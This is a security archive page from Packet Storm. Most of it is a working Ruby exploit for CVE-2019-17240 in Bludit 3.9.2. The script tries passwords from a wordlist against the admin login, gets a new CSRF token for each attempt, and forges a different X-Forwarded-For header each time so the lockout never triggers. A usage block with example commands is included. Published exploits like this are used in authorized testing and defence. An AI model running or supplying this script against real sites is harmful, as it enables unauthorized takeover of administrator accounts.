what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Bludit 3.9.2 Authentication Bruteforce Mitigation Bypass

Bludit 3.9.2 Authentication Bruteforce Mitigation Bypass
Posted Aug 17, 2020
Authored by Alexandre Zanni

Bludit version 3.9.2 suffer from an authentication bruteforce mitigation bypass vulnerability.

tags | exploit, bypass
advisories | CVE-2019-17240
SHA-256 | 87cea634a93b6826dcf3d595856b2558aa443aa641240735859083ddbc23b850

Bludit 3.9.2 Authentication Bruteforce Mitigation Bypass

Change Mirror Download
#!/usr/bin/env ruby
## Title: Bludit 3.9.2 - Authentication Bruteforce Mitigation Bypass
## Author: noraj (Alexandre ZANNI)
## Author website: https://pwn.by/noraj/
## Date: 2020-08-16
## Vendor Homepage: https://www.bludit.com/
## Software Link: https://github.com/bludit/bludit/archive/3.9.2.tar.gz
## Version: <= 3.9.2
## Tested on: Bludit Version 3.9.2

# Vulnerability
## Discoverer: Rastating
## Discoverer website: https://rastating.github.io/
## CVE: CVE-2019-17240
## CVE URL: https://nvd.nist.gov/vuln/detail/CVE-2019-17240
## References: https://rastating.github.io/bludit-brute-force-mitigation-bypass/
## Patch: https://github.com/bludit/bludit/pull/1090

require 'httpclient'
require 'docopt'

# dirty workaround to remove this warning:
# Cookie#domain returns dot-less domain name now. Use Cookie#dot_domain if you need "." at the beginning.
# see https://github.com/nahi/httpclient/issues/252
class WebAgent
class Cookie < HTTP::Cookie
def domain
self.original_domain
end
end
end

def get_csrf(client, login_url)
res = client.get(login_url)
csrf_token = /input.+?name="tokenCSRF".+?value="(.+?)"/.match(res.body).captures[0]
end

def auth_ok?(res)
HTTP::Status.redirect?(res.code) &&
%r{/admin/dashboard}.match?(res.headers['Location'])
end

def bruteforce_auth(client, host, username, wordlist)
login_url = host + '/admin/login'
File.foreach(wordlist).with_index do |password, i|
password = password.chomp
csrf_token = get_csrf(client, login_url)
headers = {
'X-Forwarded-For' => "#{i}-#{password[..4]}",
}
data = {
'tokenCSRF' => csrf_token,
'username' => username,
'password' => password,
}
puts "[*] Trying password: #{password}"
auth_res = client.post(login_url, data, headers)
if auth_ok?(auth_res)
puts "\n[+] Password found: #{password}"
break
end
end
end

doc = <<~DOCOPT
Bludit <= 3.9.2 - Authentication Bruteforce Mitigation Bypass

Usage:
#{__FILE__} -r <url> -u <username> -w <path> [--debug]
#{__FILE__} -H | --help

Options:
-r <url>, --root-url <url> Root URL (base path) including HTTP scheme, port and root folder
-u <username>, --user <username> Username of the admin
-w <path>, --wordlist <path> Path to the wordlist file
--debug Display arguments
-H, --help Show this screen

Examples:
#{__FILE__} -r http://example.org -u admin -w myWordlist.txt
#{__FILE__} -r https://example.org:8443/bludit -u john -w /usr/share/wordlists/password/rockyou.txt
DOCOPT

begin
args = Docopt.docopt(doc)
pp args if args['--debug']

clnt = HTTPClient.new
bruteforce_auth(clnt, args['--root-url'], args['--user'], args['--wordlist'])
rescue Docopt::Exit => e
puts e.message
end
Login or Register to add favorites

File Archive:

June 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jun 1st
    0 Files
  • 2
    Jun 2nd
    0 Files
  • 3
    Jun 3rd
    18 Files
  • 4
    Jun 4th
    21 Files
  • 5
    Jun 5th
    0 Files
  • 6
    Jun 6th
    57 Files
  • 7
    Jun 7th
    6 Files
  • 8
    Jun 8th
    0 Files
  • 9
    Jun 9th
    0 Files
  • 10
    Jun 10th
    12 Files
  • 11
    Jun 11th
    27 Files
  • 12
    Jun 12th
    38 Files
  • 13
    Jun 13th
    16 Files
  • 14
    Jun 14th
    14 Files
  • 15
    Jun 15th
    0 Files
  • 16
    Jun 16th
    0 Files
  • 17
    Jun 17th
    16 Files
  • 18
    Jun 18th
    26 Files
  • 19
    Jun 19th
    15 Files
  • 20
    Jun 20th
    0 Files
  • 21
    Jun 21st
    0 Files
  • 22
    Jun 22nd
    0 Files
  • 23
    Jun 23rd
    0 Files
  • 24
    Jun 24th
    0 Files
  • 25
    Jun 25th
    0 Files
  • 26
    Jun 26th
    0 Files
  • 27
    Jun 27th
    0 Files
  • 28
    Jun 28th
    0 Files
  • 29
    Jun 29th
    0 Files
  • 30
    Jun 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close